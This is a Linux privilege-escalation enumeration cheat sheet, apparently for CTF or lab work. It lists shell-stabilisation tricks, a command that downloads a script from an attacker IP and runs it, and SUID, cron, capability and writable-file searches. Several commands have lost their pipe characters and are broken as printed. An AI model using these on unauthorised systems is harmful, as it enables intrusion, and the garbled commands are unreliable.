

Enumeration for Linux Privilege Escalation

Why is Enumeration Important?

Enumeration is the foundation of privilege escalation in penetration testing. By gathering information about the system, processes, users, and permissions, you can identify misconfigurations, vulnerabilities, and exploitable paths. Automated tools can speed up the process, but manual enumeration often uncovers subtle weaknesses that tools might miss. A thorough enumeration can lead to better exploitation and, ultimately, full system compromise.

Automated Enumeration Tools

Fast Mass Enumeration

To quickly enumerate a target system, use the following techniques:

Task	Command
Stabilize shell	<code>python3 -c 'import pty;pty.spawn("/bin/bash")'</code> or <code>python -c 'import pty;pty.spawn("/bin/bash")'</code>
Set terminal properties (box)	<code>stty raw -echo; fg</code>
Adjust rows and columns	<code>stty rows 51 cols 237; export TERM=xterm-256color</code>
Check rows and columns locally	<code>stty -a</code>
Fetch stab.sh for shell config	<code>curl 10.13.4.2/stab.sh bash</code>
Download enum files	<code>wget -nH -r 10.13.31.108 && rm index.html</code>

Task	Command
Mass enumeration oneliner	/tmp/test/linpeas.sh tee linpeas.log && /tmp/test/lse.sh -i tee lse.log
View log outputs	cat *.log or less -R *.log

Manual Enumeration

Area	Command
System Information	hostnamectl
User and Group Info	whoami; id; groups
Sudo Permissions	sudo -l
Processes	ps aux; ps -A; ps axjf; ps aux grep root
Environment Variables	env
Users with Home Directories	cat /etc/passwd grep home
Kernel Version	uname -a; lsb_release -a; cat /proc/version
World Writable Files/ Directories	find / -writable -type d 2>/dev/null; find / -type f -perm 0777
SUID/SGID Binaries	find / -type f -perm -04000 -ls 2>/dev/null
Enabled Capabilities	getcap -r / 2>/dev/null
Cron Jobs	cat /etc/crontab; ls /etc/cron*; cat /var/spool/cron/*
Network Info	ifconfig; ip route; ss -ltu; ss -lntu; netstat -antop
Shares	showmount -e 10.10.28.220; cat /etc/exports

Quick Wins Checklist

1. Check for Kernel Exploits

Command	Description
uname -sr	Displays the kernel version.

Command	Description
<code>lsb_release -a</code>	Displays detailed OS information.

- Use [Searchsploit](#) or [GTF0Bins](#) for exploit research.

2. Find SUID/SGID Files

Command	Description
<code>find / -type f -perm -04000 -ls</code>	Lists files with SUID set.
<code>find / -type f -perm -02000 -ls</code>	Lists files with SGID set.

3. Identify Cron Job Misconfigurations

Command	Description
<code>cat /etc/crontab</code>	Views cron jobs.
<code>ls /etc/cron*; cat /var/spool/cron/*</code>	Lists more cron details.

4. Analyze Running Processes

Command	Description
<code>ps aux grep root</code>	Finds processes run by root.
<code>./pspy64</code>	Monitors processes in real-time.

5. Check Open Ports

Command	Description
<code>ss -ltu</code>	Lists open TCP and UDP ports.
<code>ss -lntu</code>	Displays listening and network ports.

6. Permissions and Ownership

- Identify writable files by specific users or groups:

Task	Command
Find files by group ownership	<code>find / -group</code>

Task	Command
Find writable files by a user	<code>find / -writable -type f -user</code>

7. Find Files

Command	Description
<code>find . -name flag1.txt</code>	Finds the file named flag1.txt in the current directory.
<code>find /home -name flag1.txt</code>	Finds the file named flag1.txt in the /home directory.
<code>find / -type d -name config</code>	Finds the directory named config under /.
<code>find / -type f -perm 0777</code>	Finds files with 777 permissions (readable, writable, and executable by all users).
<code>find / -perm /a=x</code>	Finds files that are executable by any user.
<code>find /home -user frank</code>	Finds all files owned by the user frank under /home.
<code>find / -mtime -10</code>	Finds files that were modified in the last 10 days.
<code>find / -atime -10</code>	Finds files that were accessed in the last 10 days.
<code>find / -cmin -60</code>	Finds files changed within the last hour (60 minutes).
<code>find / -amin -60</code>	Finds files accessed within the last hour (60 minutes).
<code>find / -size 50M</code>	Finds files with a size of exactly 50 MB.
<code>find / -size +50M</code>	Finds files larger than 50 MB.
<code>find / -size -50M</code>	Finds files smaller than 50 MB.

Final Notes

- Efficiency:** Start with automated tools like LinPEAS, but follow up with manual enumeration for better coverage.
- Thoroughness:** Double-check logs, outputs, and configurations for anything suspicious or exploitable.

→**Documentation:** Save command outputs to logs and take organized notes. This ensures a clear trail of findings and makes exploit identification easier.